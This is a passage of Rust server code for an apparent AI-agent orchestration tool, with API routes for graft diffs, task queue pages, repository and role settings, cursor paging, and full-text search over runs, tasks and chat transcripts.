4393        // Only a record that lacks the structured details reads `artifacts/`.
4394        let recovered = state.graft.as_ref().map(|_| {
4395            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4396        });
4397        Ok(crate::report_view::build_with(
4398            &state,
4399            state.liveness(daemon_claims),
4400            recovered.as_ref(),
4401        ))
4402    })
4403    .await?;
4404    Ok(Json(view))
4405}
4406
4407/// Most of a graft diff the route returns.
4408const GRAFT_DIFF_MAX: usize = 400 * 1024;
4409/// How long `git diff` may run.
4410const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4411
4412/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4413/// come from the run record, never from the request.
4414async fn run_graft_diff(
4415    State(ui): State<Arc<Ui>>,
4416    Path(id): Path<String>,
4417) -> ApiResult<impl IntoResponse> {
4418    let (repo, pre, post) = blocking(move || {
4419        let id = resolve_run(&ui.runs, &id)?;
4420        let state = read_run(&ui.runs, &id)?;
4421        let g = state
4422            .graft
4423            .as_ref()
4424            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4425        let post = g
4426            .post
4427            .clone()
4428            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4429        Ok((state.repo.clone(), g.pre.clone(), post))
4430    })
4431    .await?;
4432    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4433    if !hex(&pre) || !hex(&post) {
4434        return Err(ApiError::not_found("the recorded commits are not valid"));
4435    }
4436    let out = tokio::time::timeout(
4437        GRAFT_DIFF_TIMEOUT,
4438        crate::git::git_raw(
4439            &repo,
4440            &[
4441                "diff",
4442                "--no-color",
4443                "--no-ext-diff",
4444                "-M",
4445                &pre,
4446                &post,
4447                "--",
4448            ],
4449        ),
4450    )
4451    .await
4452    .map_err(|_| ApiError::not_found("git diff timed out"))?
4453    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4454    if out.code != Some(0) {
4455        return Err(ApiError::not_found(
4456            "the recorded commits are no longer in the repository",
4457        ));
4458    }
4459    let mut body = out.stdout;
4460    if body.len() > GRAFT_DIFF_MAX {
4461        let mut cut = GRAFT_DIFF_MAX;
4462        while !body.is_char_boundary(cut) {
4463            cut -= 1;
4464        }
4465        body.truncate(cut);
4466        body.push_str("\n... diff truncated ...");
4467    }
4468    Ok((
4469        [
4470            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4471            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4472        ],
4473        body,
4474    ))
4475}
4476
4477/// A task as the UI sees it.
4478///
4479/// The whole task, plus the two things the client would otherwise have to
4480/// reimplement: the human-readable source and the status string. Nothing is
4481/// removed - the phone shows `last_error` and the run history verbatim.
4482#[derive(Debug, Serialize)]
4483struct TaskView {
4484    #[serde(flatten)]
4485    task: Task,
4486    source_label: String,
4487    source_link: Option<SourceLink>,
4488    status_str: &'static str,
4489    /// The instruction, parsed as markdown, for the Queue card's "Full
4490    /// instruction" panel. `task.instruction` is unchanged and still carries
4491    /// the raw text.
4492    instruction_md: Vec<md::Node>,
4493    /// For a blocked task, what it waits on with each dependency's state, e.g.
4494    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4495    /// recurses; empty for every other status.
4496    waits_on: Vec<String>,
4497    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4498    /// behind - non-empty means nothing in the loop will ever run it.
4499    stuck_roots: Vec<String>,
4500}
4501
4502impl From<Task> for TaskView {
4503    fn from(task: Task) -> Self {
4504        Self {
4505            source_label: task.source.label(),
4506            source_link: source_link(&task.source),
4507            status_str: task.status.as_str(),
4508            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4509            waits_on: Vec::new(),
4510            stuck_roots: Vec::new(),
4511            task,
4512        }
4513    }
4514}
4515
4516impl TaskView {
4517    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4518        let waits_on = inv.waits_on(&task);
4519        let stuck_roots = inv
4520            .stuck_roots(&task)
4521            .iter()
4522            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4523            .collect();
4524        Self {
4525            waits_on,
4526            stuck_roots,
4527            ..Self::from(task)
4528        }
4529    }
4530}
4531
4532/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4533/// its absence, leaves the cache to decide.
4534#[derive(Debug, Default, Deserialize)]
4535#[serde(default)]
4536struct ReposQuery {
4537    refresh: u8,
4538}
4539
4540/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4541/// listing `magi repos` prints at a terminal.
4542///
4543/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4544/// so an edit to `magi.toml` takes effect without a restart, the same
4545/// reasoning [`config_for`] documents for the talk routes.
4546async fn repos_list(
4547    State(ui): State<Arc<Ui>>,
4548    Query(q): Query<ReposQuery>,
4549) -> ApiResult<Json<Vec<repos::Repo>>> {
4550    let refresh = q.refresh != 0;
4551    blocking(move || {
4552        let (cfg, _) = Config::discover(&ui.repo, None)?;
4553        Ok(Json(ui.repos_cache.list(
4554            &cfg.repos.roots,
4555            Duration::from_secs(cfg.repos.scan_ttl),
4556            refresh,
4557        )))
4558    })
4559    .await
4560}
4561
4562/// Optional context, restricted to the server's known checkouts.
4563#[derive(Debug, Default, Deserialize)]
4564struct SettingsQuery {
4565    repo: Option<PathBuf>,
4566}
4567
4568/// Always discover against the server's original context, never the selection.
4569/// If that config is broken, retain the default context and machine-only roots
4570/// so the settings error contract and recovery picker remain available.
4571fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4572    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4573        let paths: Vec<PathBuf> = ui
4574            .machine_config
4575            .iter()
4576            .filter(|p| p.is_file())
4577            .cloned()
4578            .collect();
4579        if paths.is_empty() {
4580            Ok(Config::autodetected())
4581        } else {
4582            Config::load_layers(&paths)
4583        }
4584    });
4585    let mut known = cfg
4586        .map(|cfg| {
4587            ui.repos_cache.list(
4588                &cfg.repos.roots,
4589                Duration::from_secs(cfg.repos.scan_ttl),
4590                refresh,
4591            )
4592        })
4593        .unwrap_or_default();
4594    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4595    if !known.iter().any(|r| r.path == path) {
4596        known.push(repos::Repo {
4597            name: path
4598                .file_name()
4599                .unwrap_or_default()
4600                .to_string_lossy()
4601                .into_owned(),
4602            path,
4603        });
4604    }
4605    known
4606}
4607
4608fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4609    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4610    let canonical = requested.canonicalize().ok();
4611    let mut known = settings_repositories(ui, false);
4612    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4613    if !known.iter().any(matches) {
4614        known = settings_repositories(ui, true);
4615    }
4616    let repo = known
4617        .iter()
4618        .find(|r| matches(r))
4619        .map(|r| r.path.clone())
4620        .ok_or_else(|| ApiError {
4621            text_reason: None,
4622            status: StatusCode::UNPROCESSABLE_ENTITY,
4623            message: "Choose a known repository from the Settings selector.".to_owned(),
4624        })?;
4625    Ok((repo, known))
4626}
4627
4628/// `GET /api/settings` - the effective role assignments and roster, with the
4629/// layer each came from. A config that fails to load answers 200 with an
4630/// `error`, so the screen can say so instead of drawing empty lists.
4631async fn settings_get(
4632    State(ui): State<Arc<Ui>>,
4633    Query(q): Query<SettingsQuery>,
4634) -> ApiResult<Json<settings::SettingsView>> {
4635    blocking(move || {
4636        let (repo, known) = settings_context(&ui, q)?;
4637        Ok(Json(settings::view_with_repos(
4638            &repo,
4639            ui.machine_config.as_deref(),
4640            &known,
4641        )))
4642    })
4643    .await
4644}
4645
4646/// The body of `PUT /api/settings/roles`.
4647#[derive(Debug, Deserialize)]
4648#[serde(deny_unknown_fields)]
4649struct RolesBody {
4650    /// The `revision` the client last read.
4651    revision: String,
4652    /// Role key to its new ids; an empty list resets the key to its default.
4653    #[serde(default)]
4654    roles: std::collections::BTreeMap<String, Vec<String>>,
4655    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4656    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4657    /// words (422) instead of as a deserialization error.
4658    #[serde(default)]
4659    counts: std::collections::BTreeMap<String, serde_json::Value>,
4660}
4661
4662/// `PUT /api/settings/roles` - save role assignments to the machine config.
4663///
4664/// The write target is `ui.machine_config` and nothing in the body can change
4665/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4666/// 422 with the reason in words.
4667async fn settings_put_roles(
4668    State(ui): State<Arc<Ui>>,
4669    Query(q): Query<SettingsQuery>,
4670    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4671) -> ApiResult<Json<settings::SettingsView>> {
4672    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4673    blocking(move || {
4674        let (repo, known) = settings_context(&ui, q)?;
4675        settings::save_with_repos(
4676            &repo,
4677            ui.machine_config.as_deref(),
4678            &body.revision,
4679            &body.roles,
4680            &body.counts,
4681            &known,
4682        )
4683        .map(Json)
4684        .map_err(|e| match e {
4685            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4686            settings::SaveError::Refused(m) => ApiError {
4687                text_reason: None,
4688                status: StatusCode::UNPROCESSABLE_ENTITY,
4689                message: m,
4690            },
4691            settings::SaveError::Internal(m) => ApiError::internal(m),
4692        })
4693    })
4694    .await
4695}
4696
4697async fn queue_list(
4698    State(ui): State<Arc<Ui>>,
4699    Query(q): Query<ListQuery>,
4700) -> ApiResult<Json<Vec<TaskView>>> {
4701    blocking(move || {
4702        let tasks = ui.queue.list();
4703        let inv =
4704            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4705        Ok(Json(
4706            tasks
4707                .into_iter()
4708                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4709                .map(|t| TaskView::with_inventory(t, &inv))
4710                .collect(),
4711        ))
4712    })
4713    .await
4714}
4715
4716/// Cursor pages read a bounded number of records, never the older transcripts
4717/// or instructions. Cursors advance through a frozen file-name snapshot,
4718/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4719/// Concurrent inserts are reconciled by a trailing store refresh.
4720#[derive(Debug, Default, Deserialize)]
4721struct PageQuery {
4722    before: Option<String>,
4723}
4724
4725#[derive(Serialize)]
4726struct StorePage<T> {
4727    rows: Vec<T>,
4728    next: Option<String>,
4729}
4730
4731const STORE_PAGE_SIZE: usize = 16;
4732
4733/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4734/// always read from disk; writes/deletions during the walk are reconciled by
4735/// the next store revision. Never rescan the entire directory for every page.
4736#[derive(Debug)]
4737struct ListWalk {
4738    token: u64,
4739    talks: bool,
4740    opened: std::time::Instant,
4741    ids: Arc<Vec<String>>,
4742}
4743
4744fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4745    let mut walks = ui
4746        .monitor
4747        .list_walks
4748        .lock()
4749        .unwrap_or_else(PoisonError::into_inner);
4750    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4751    let (token, ids, offset) = if let Some(cursor) = q.before {
4752        let (token, offset) = cursor
4753            .split_once(':')
4754            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4755        let token = token
4756            .parse::<u64>()
4757            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4758        let offset = offset
4759            .parse::<usize>()
4760            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4761        let walk = walks
4762            .iter()
4763            .find(|walk| walk.token == token && walk.talks == talks)
4764            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4765        (token, walk.ids.clone(), offset)
4766    } else {
4767        let root = if talks {
4768            ui.talks.root()
4769        } else {
4770            ui.queue.root()
4771        };
4772        let mut ids = crate::queue::record_ids(root, "json")?;
4773        ids.sort_unstable_by(|a, b| b.cmp(a));
4774        let ids = Arc::new(ids);
4775        let mut token = crate::rng::entropy();
4776        while walks.iter().any(|walk| walk.token == token) {
4777            token = crate::rng::entropy();
4778        }
4779        // Four clients can enumerate both stores and overlap a refresh. Bound
4780        // retained membership snapshots; an evicted cursor explicitly retries.
4781        if walks.len() >= 16 {
4782            walks.remove(0);
4783        }
4784        walks.push(ListWalk {
4785            token,
4786            talks,
4787            opened: std::time::Instant::now(),
4788            ids: ids.clone(),
4789        });
4790        (token, ids, 0)
4791    };
4792    if offset > ids.len() {
4793        return Err(ApiError::bad_request("Invalid list cursor"));
4794    }
4795    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4796    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4797    Ok((ids[offset..end].to_vec(), next))
4798}
4799
4800async fn queue_page(
4801    State(ui): State<Arc<Ui>>,
4802    Query(q): Query<PageQuery>,
4803) -> ApiResult<Json<StorePage<TaskView>>> {
4804    blocking(move || {
4805        let (ids, next) = page_ids(&ui, false, q)?;
4806        let tasks: Vec<_> = ids
4807            .into_iter()
4808            .filter_map(|id| ui.queue.get(&id).ok())
4809            .collect();
4810        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4811        let rows = tasks
4812            .into_iter()
4813            .map(|task| TaskView::with_inventory(task, &inv))
4814            .collect();
4815        Ok(Json(StorePage { rows, next }))
4816    })
4817    .await
4818}
4819
4820/// List-only projection: retain every turn timestamp for exact unread counts,
4821/// but do not ship transcripts, parse Markdown or discover repository config.
4822/// Opening a conversation obtains its full context window and controls.
4823#[derive(Serialize)]
4824struct TalkListView {
4825    id: String,
4826    repo: PathBuf,
4827    agent: String,
4828    status: talk::TalkStatus,
4829    turns: Vec<TalkListTurn>,
4830    thinking: bool,
4831    context: talk::ContextUsage,
4832    created_at: Timestamp,
4833    updated_at: Timestamp,
4834}
4835
4836#[derive(Serialize)]
4837struct TalkListTurn {
4838    who: talk::Who,
4839    at: Timestamp,
4840    body: String,
4841}
4842
4843async fn talks_page(
4844    State(ui): State<Arc<Ui>>,
4845    Query(q): Query<PageQuery>,
4846) -> ApiResult<Json<StorePage<TalkListView>>> {
4847    blocking(move || {
4848        let (ids, next) = page_ids(&ui, true, q)?;
4849        let rows = ids
4850            .into_iter()
4851            .filter_map(|id| ui.talks.get(&id).ok())
4852            .map(|talk| TalkListView {
4853                thinking: ui.is_thinking(&talk.id),
4854                context: talk::context_usage(&talk, None),
4855                turns: talk
4856                    .turns
4857                    .iter()
4858                    .map(|turn| TalkListTurn {
4859                        who: turn.who,
4860                        at: turn.at,
4861                        body: turn
4862                            .body
4863                            .lines()
4864                            .next()
4865                            .unwrap_or_default()
4866                            .chars()
4867                            .take(240)
4868                            .collect(),
4869                    })
4870                    .collect(),
4871                id: talk.id,
4872                repo: talk.repo,
4873                agent: talk.agent,
4874                status: talk.status,
4875                created_at: talk.created_at,
4876                updated_at: talk.updated_at,
4877            })
4878            .collect();
4879        Ok(Json(StorePage { rows, next }))
4880    })
4881    .await
4882}
4883
4884async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4885    blocking(move || {
4886        let tasks = ui.indexed_tasks()?;
4887        Ok(Json(TaskCountsView::from(
4888            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4889        )))
4890    })
4891    .await
4892}
4893
4894/// Most hits one search returns. The rest are counted in `total`.
4895const SEARCH_MAX_HITS: usize = 100;
4896/// Longest query, in characters, and most terms it is split into.
4897const SEARCH_MAX_QUERY: usize = 200;
4898const SEARCH_MAX_TERMS: usize = 8;
4899/// Characters of context kept before the first hit, and after it.
4900const SNIPPET_BEFORE: usize = 50;
4901const SNIPPET_AFTER: usize = 110;
4902
4903/// `?scope=runs|tasks&q=...`
4904#[derive(Debug, Deserialize)]
4905struct SearchQuery {
4906    #[serde(default)]
4907    scope: String,
4908    #[serde(default)]
4909    q: String,
4910}
4911
4912/// One piece of a snippet. `hit` pieces are what matched; the client renders
4913/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4914#[derive(Debug, Serialize, PartialEq, Eq)]
4915struct SnippetPart {
4916    text: String,
4917    hit: bool,
4918}
4919
4920#[derive(Debug, Serialize)]
4921struct SearchHit {
4922    id: String,
4923    /// The name of the field the snippet was cut from.
4924    field: String,
4925    snippet: Vec<SnippetPart>,
4926    /// The run's list row, so the page can apply its state / section / repo
4927    /// filters to a hit outside the loaded window. Absent for tasks and for a
4928    /// run record the list view cannot read.
4929    #[serde(skip_serializing_if = "Option::is_none")]
4930    run: Option<RunSummary>,
4931}
4932
4933#[derive(Debug, Serialize)]
4934struct SearchView {
4935    scope: String,
4936    q: String,
4937    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4938    hits: Vec<SearchHit>,
4939    /// Every match, hits beyond the cap included.
4940    total: usize,
4941    truncated: bool,
4942    /// Runs whose `run.json` could not be parsed at all. They were not
4943    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4944    unreadable: usize,
4945}
4946
4947/// The text leaves of a JSON document, with the name of the field each sits
4948/// under. Keys and numbers are skipped: they are structure, not prose.
4949fn text_leaves<'a>(
4950    value: &'a serde_json::Value,
4951    field: &'a str,
4952    out: &mut Vec<(&'a str, &'a str)>,
4953) {
4954    match value {
4955        serde_json::Value::String(s) => out.push((field, s)),
4956        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4957        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4958        _ => {}
4959    }
4960}
4961
4962/// Lower-case one character without changing how many there are, so indices
4963/// in the lowered text are indices in the original.
4964fn fold_char(c: char) -> char {
4965    c.to_lowercase().next().unwrap_or(c)
4966}
4967
4968/// Split a query into its lower-cased terms.
4969fn search_terms(q: &str) -> Vec<String> {
4970    let mut terms: Vec<String> = Vec::new();
4971    for t in q.split_whitespace() {
4972        let t = t.to_lowercase();
4973        if !terms.contains(&t) {
4974            terms.push(t);
4975        }
4976    }
4977    terms
4978}
4979
4980/// Match `terms` (all of them, anywhere in the document) against the leaves
4981/// and cut a snippet around the first hit. `None` when a term is missing.
4982fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4983    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4984    let mut first: Option<usize> = None;
4985    for term in terms {
4986        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4987        first = Some(first.map_or(at, |f| f.min(at)));
4988    }
4989    // The leaf holding the earliest hit of any term is where the snippet is cut.
4990    let (field, text) = leaves[first?];
4991    Some(SearchHit {
4992        id: String::new(),
4993        field: field.to_owned(),
4994        snippet: snippet_of(text, terms),
4995        run: None,
4996    })
4997}
4998
4999/// A window of `text` around the first occurrence of any term, whitespace
5000/// collapsed, with every term occurrence inside the window marked.
5001fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5002    let chars: Vec<char> = text.chars().collect();
5003    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5004    let needles: Vec<Vec<char>> = terms
5005        .iter()
5006        .map(|t| t.chars().map(fold_char).collect())
5007        .collect();
5008    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5009        let mut best: Option<(usize, usize)> = None;
5010        for n in needles.iter().filter(|n| !n.is_empty()) {
5011            // `to` bounds where a match may start; it may run past `to` (the
5012            // caller clips what it shows). A term longer than the field cannot
5013            // occur in it (it may live in another leaf of the document).
5014            if n.len() > chars.len() || to == 0 {
5015                continue;
5016            }
5017            let last = (to - 1).min(chars.len() - n.len());
5018            if from > last {
5019                continue;
5020            }
5021            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5022                && best.is_none_or(|(b, _)| i < b)
5023            {
5024                best = Some((i, i + n.len()));
5025            }
5026        }
5027        best
5028    };
5029    let Some((start, _)) = find(0, chars.len()) else {
5030        // Matched only through a case mapping that changes length: show the head.
5031        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5032        return vec![SnippetPart {
5033            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5034            hit: false,
5035        }];
5036    };
5037    let lo = start.saturating_sub(SNIPPET_BEFORE);
5038    let hi = (start + SNIPPET_AFTER).min(chars.len());
5039    let mut parts: Vec<SnippetPart> = Vec::new();
5040    let mut push = |s: &[char], hit: bool| {
5041        if s.is_empty() {
5042            return;
5043        }
5044        let text: String = s.iter().collect();
5045        match parts.last_mut() {
5046            Some(p) if p.hit == hit => p.text.push_str(&text),
5047            _ => parts.push(SnippetPart { text, hit }),
5048        }
5049    };
5050    if lo > 0 {
5051        push(&['\u{2026}'], false);
5052    }
5053    let mut at = lo;
5054    while at < hi {
5055        match find(at, hi) {
5056            Some((s, e)) => {
5057                push(&chars[at..s], false);
5058                // A match running past the window is shown up to its edge.
5059                let shown = e.min(hi);
5060                push(&chars[s..shown], true);
5061                at = shown;
5062            }
5063            None => {
5064                push(&chars[at..hi], false);
5065                at = hi;
5066            }
5067        }
5068    }
5069    if hi < chars.len() {
5070        push(&['\u{2026}'], false);
5071    }
5072    // Collapse whitespace (newlines in an instruction) without disturbing the
5073    // hit boundaries.
5074    let mut prev_space = false;
5075    for p in &mut parts {
5076        let mut out = String::with_capacity(p.text.len());
5077        for c in p.text.chars() {
5078            if c.is_whitespace() {
5079                if !prev_space {
5080                    out.push(' ');
5081                }
5082                prev_space = true;
5083            } else {
5084                out.push(c);
5085                prev_space = false;
5086            }
5087        }
5088        p.text = out;
5089    }
5090    parts.retain(|p| !p.text.is_empty());
5091    parts
5092}
5093
5094/// The search over `docs` (id, document), newest first, capped.
5095fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5096where
5097    I: IntoIterator<Item = (String, serde_json::Value)>,
5098{
5099    for (id, doc) in docs {
5100        let mut leaves = Vec::new();
5101        // The id is text an operator types too, and it is a map key on disk,
5102        // not a leaf.
5103        leaves.push(("id", id.as_str()));
5104        text_leaves(&doc, "", &mut leaves);
5105        if let Some(mut hit) = search_document(terms, &leaves) {
5106            view.total += 1;
5107            if view.hits.len() < SEARCH_MAX_HITS {
5108                hit.id = id;
5109                view.hits.push(hit);
5110            }
5111        }
5112    }
5113    view.truncated = view.total > view.hits.len();
5114}
5115
5116/// What a conversation is searched by: its list title and each turn's text,
5117/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5118/// (session ids, repo paths, usage, drafts) is part of the document.
5119///
5120/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
5121/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
5122fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5123    let opener = talk
5124        .turns
5125        .iter()
5126        .find(|t| t.who == crate::talk::Who::Operator)
5127        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5128        .unwrap_or("");
5129    let title: String = if opener.chars().count() > 96 {
5130        opener.chars().take(95).chain(['\u{2026}']).collect()
5131    } else {
5132        opener.to_owned()
5133    };
5134    let turns: Vec<serde_json::Value> = talk
5135        .turns
5136        .iter()
5137        .map(|t| {
5138            let who = match t.who {
5139                crate::talk::Who::Operator => "operator",
5140                crate::talk::Who::Agent => "agent",
5141            };
5142            serde_json::json!({ who: t.body })
5143        })
5144        .collect();
5145    serde_json::json!({ "title": title, "turns": turns })
5146}
5147
5148/// Read-only full-text search over every run's `run.json`, every task or every
5149/// conversation (title and transcript).
5150///
5151/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5152/// record from an older schema still searches; only a file that is not JSON
5153/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5154async fn search_get(
5155    State(ui): State<Arc<Ui>>,
5156    Query(q): Query<SearchQuery>,
5157) -> ApiResult<Json<SearchView>> {
5158    let query = q.q.trim().to_owned();
5159    if query.is_empty() {
5160        return Err(ApiError::bad_request("q must not be empty"));
5161    }
5162    if query.chars().count() > SEARCH_MAX_QUERY {
5163        return Err(ApiError::bad_request(format!(
5164            "q is longer than {SEARCH_MAX_QUERY} characters"
5165        )));
5166    }
5167    let terms = search_terms(&query);
5168    if terms.len() > SEARCH_MAX_TERMS {
5169        return Err(ApiError::bad_request(format!(
5170            "q has more than {SEARCH_MAX_TERMS} terms"
5171        )));
5172    }
5173    let scope = q.scope;
5174    if scope != "runs" && scope != "tasks" && scope != "chats" {
5175        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5176    }
5177    blocking(move || {
5178        let mut view = SearchView {
5179            scope: scope.clone(),
5180            q: query,
5181            hits: Vec::new(),
5182            total: 0,
5183            truncated: false,
5184            unreadable: 0,
5185        };
5186        if scope == "runs" {
5187            let mut unreadable = 0;
5188            // One run.json is read, matched and dropped at a time; nothing
5189            // holds the whole history. The scan runs to the end even past the
5190            // hit cap so `total` and `unreadable` stay exact.
5191            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5192                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5193                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5194                    Some(v) => Some((id, v)),
5195                    None => {
5196                        unreadable += 1;
5197                        None
5198                    }
5199                }
5200            });
5201            search_docs(&terms, docs, &mut view);
5202            view.unreadable = unreadable;
5203            // Only the capped hits get a row: the filters need a run's state,
5204            // and reading every match would be the whole history again.
5205            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5206            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5207            for hit in &mut view.hits {
5208                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5209                    hit.run = summarize(
5210                        [state],
5211                        &open_runs,
5212                        &claimed,
5213                        &superseded,
5214                        |p| probe.borrow_mut().status(p),
5215                        |p| probe.borrow_mut().started_at(p),
5216                    )
5217                    .pop();
5218                }
5219            }
5220        } else if scope == "chats" {
5221            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5222            view.unreadable = unreadable;
5223            search_docs(
5224                &terms,
5225                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5226                &mut view,
5227            );
5228        } else {
5229            let docs = ui.queue.list().into_iter().filter_map(|t| {
5230                let mut v = serde_json::to_value(&t).ok()?;
5231                // `source` serialises as a tagged object; the label is what
5232                // the operator reads ("human", "chat@a1b2").
5233                if let Some(o) = v.as_object_mut() {
5234                    o.insert("filed_by".to_owned(), t.source.label().into());
5235                }
5236                Some((t.id, v))
5237            });
5238            search_docs(&terms, docs, &mut view);
5239        }
5240        Ok(Json(view))
5241    })
5242    .await
5243}
5244
5245/// One attempt in a task's history, as the task page lists it.
5246#[derive(Debug, Serialize)]
5247struct TaskRunView {
5248    /// 1-based position in [`Task::runs`].
5249    n: usize,
5250    id: String,
5251    short: String,
5252    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5253    kind: &'static str,
5254    /// The run's own status string; `None` when its record cannot be read.
5255    status: Option<&'static str>,
5256    /// Whether this build could read the run's record. Counted, never hidden.
5257    readable: bool,
5258    /// A verdict from a collapsed panel is provisional, never a decision.
5259    provisional: bool,
5260    /// What kind of attempt this was, in one line.
5261    description: String,
5262    /// How it ended and why the task moved on (or what it is doing now).
5263    outcome: String,
5264    created_at: Option<Timestamp>,
5265    pr: Option<String>,
5266    /// Why this pass ended, classified once; the flowchart is built from it.
5267    exit: RunExit,
5268    /// What the pass did to the task's attempt budget.
5269    attempt: AttemptCost,
5270    /// Edge wording for leaving this entry; names the recorded cause when
5271    /// there is one.
5272    exit_label: String,
5273    /// The position of a later entry for the same run: this entry is an
5274    /// earlier pass of it.
5275    later_pass: Option<usize>,
5276    /// Which pass over the run this entry is (1-based) and how many entries
5277    /// the task lists for the run. Counted from the list, so known even for
5278    /// a legacy record.
5279    pass_n: usize,
5280    passes_of_run: usize,
5281    /// What the run recorded about this pass; `None` for a record from before
5282    /// passes were kept, whose cause stays unknown.
5283    pass: Option<PassView>,
5284    /// The branch a review-only run reopened.
5285    branch: Option<String>,
5286    /// The badge word when it differs from `status` (`stale` / `superseded`);
5287    /// filled by the task route, which can see liveness and later attempts.
5288    badge: Option<String>,
5289}
5290
5291/// One recorded pass over a run, for the wire.
5292#[derive(Debug, Clone, PartialEq, Serialize)]
5293struct PassView {
5294    index: usize,
5295    resumed: bool,
5296    started_at: Timestamp,
5297    ended_at: Option<Timestamp>,
5298    /// `open`, `parked` or `unrecorded`.
5299    end: &'static str,
5300    cause: Option<crate::run::ParkCause>,
5301    /// One line: why it stopped, or that nobody recorded why.
5302    label: String,
5303    /// What the task recorded for this pass; `None` when it was not settled
5304    /// (or settled by a build that kept no record).
5305    cost: Option<crate::queue::PassCost>,
5306}
5307
5308impl PassView {
5309    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5310        use crate::run::PassEnd;
5311        let (end, cause, label) = match &p.end {
5312            None => ("open", None, "still open".to_owned()),
5313            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5314            Some(PassEnd::Unrecorded) => (
5315                "unrecorded",
5316                None,
5317                "stopped without recording why (a crash, a kill or a restart; not known)"
5318                    .to_owned(),
5319            ),
5320        };
5321        Self {
5322            index: p.index,
5323            resumed: p.resumed,
5324            started_at: p.started_at,
5325            ended_at: p.ended_at,
5326            end,
5327            cause,
5328            label,
5329            cost: settled.map(|t| t.cost),
5330        }
5331    }
5332}
5333
5334/// How one pass over a run ended, as far as the task's life is concerned.
5335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5336#[serde(rename_all = "snake_case")]
5337enum RunExit {
5338    Unreadable,
5339    /// An earlier pass of a run id that appears again: it stopped short.
